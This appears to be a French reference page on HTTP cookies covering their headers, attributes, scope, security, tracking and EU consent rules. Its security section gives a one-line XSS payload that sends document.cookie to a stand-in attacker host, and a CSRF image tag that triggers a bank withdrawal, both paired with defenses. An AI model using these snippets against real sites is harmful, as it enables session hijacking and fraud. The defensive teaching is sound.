Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur — pour exemple pour garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".

Les cookies sont utilisés pour 3 raisons principales :

Gestion des sessions
Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.
Personnalisation
Préférences utilisateur, thèmes, et autres paramètres.
Suivi
Enregistrement et analyze du comportement utilisateur.

Les cookies étaient auparavent utilisés pour le stockage côté client. C'était légitime losque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommencé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'API Web storage (localStorage et sessionStorage) et IndexedDB.

Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrir l'Inspecteur de stockage des Outils Développeur et sélectionner Cookies dans l'onglet stockage (pour Firefox).

Création de cookies

Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) Set-Cookie. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP Cookie. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.

L'entête de réponse HTTP Set-Cookie envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est définit comme ceci:

Set-Cookie: <nom-du-cookie>=<valeur-du-cookie>
Note : Voici comme utiliser l'en-tête Set-Cookie dans divers langages de programmation côté serveur :

Exemple de réponse HTTP complète:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[contenu de la page]

Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête Cookie:

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de session

Le cookie créé ci-dessus est un cookie de session : il est effacé quand le navigateur est fermé, puisqu'on a pas spécifié de directive Expires ou Max-Age. Notons cependant que les navigateurs web peuvent utiliser la restauration de session, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.

Cookies permanents

Plutôt que d'expirer quand le client ferme, les cookies permanents expirent à une date spécifique (Expires) ou après un certain temps (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Note: Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.

Cookies Secure et HttpOnly

Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes cryptées, via le protocole HTTPS. Même avec Secure, les informations sensibles ne devraient jamais être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (http:) ne peuvent pas définir de cookies avec la directive Secure.

Pour empêcher les attaques de cross-site scripting (XSS), on peut utiliser les cookies HttpOnly, qui sont inaccessibles à l'API JavaScript Document.cookie; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option HttpOnly doit être définie.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Portée des cookies

Les directives Domain et Path définissent la portée d'un cookie: sur quelles URLs les cookies doivent être envoyés.

Domain spécifie les hôtes autorisés à recevoir le cookie. Si ce n'est pas spécifié, il s'agit par défaut de l'hôte de l'emplacement actuel du document, en excluant les sous-domaines. Si Domain est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si Domain=mozilla.org est définit, alors les cookies sont envoyés sur les sous-domaines comme developer.mozilla.org.

Path indique pour quels chemins d'URL on doit envoyer l'entête Cookie. Le caractère %x2F ("/") est considéré être un séparateur de répertoire, et les sous-répertoire correspondrons également. Par exemple, si Path=/docs est définit, ces chemins correspondrons:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

Cookies SameSite

Les cookies SameSite laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery (CSRF). Les cookies SameSite sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.

Accès JavaScript en utilisant Document.cookie

De nouveaux cookies peuvent également être crées via JavaScript en utilisant la propriété  Document.cookie, et si l'option HttpOnly n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// affiche "yummy_cookie=choco; tasty_cookie=strawberry"

Prenez garde aux problèmes de sécurité, décrits dans la section Sécurité ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.

Sécurité

Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.

Piratage de session et XSS

Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités XSS de l'application.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

L'attribut HttpOnly du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.

Cross-Site Request Forgery (CSRF)

Wikipedia mentionne un autre bon exemple d'attaque CSRF. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:

  • Comme pour XSS, filtrer les données en entrée est important.
  • Il devrait toujours y avoir une confimration requise pour toute action sensible.
  • Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée.
  • Pour plus de conseils de prévention, voir OWASP CSRF prevention cheat sheet.

Suivi et confidentialité

Cookies tiers

Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (first-party cookie). Si le domaine est différent, on parle de cookie tiers (third-party cookie).

Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les types de cookies utilisés par Google. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, Privacy Badger par EFF).

Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvre. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article cookie statement de Wikipedia.

Do-Not-Track

Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête DNT peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête DNT pour plus d'informations.

Directive de l'UE sur les cookies

Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la Directive 2009/136/EC du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.

Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.

Pour en savoir plus, voir cette section Wikipedia et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.

Cookies Zombie et Evercookies

Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'API Web storage, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.

Voir aussi

Étiquettes et contributeurs liés au document

Étiquettes : 
Contributeurs à cette page : a-mt, SphinxKnight, antoineroux, tomcodes
Dernière mise à jour par : a-mt,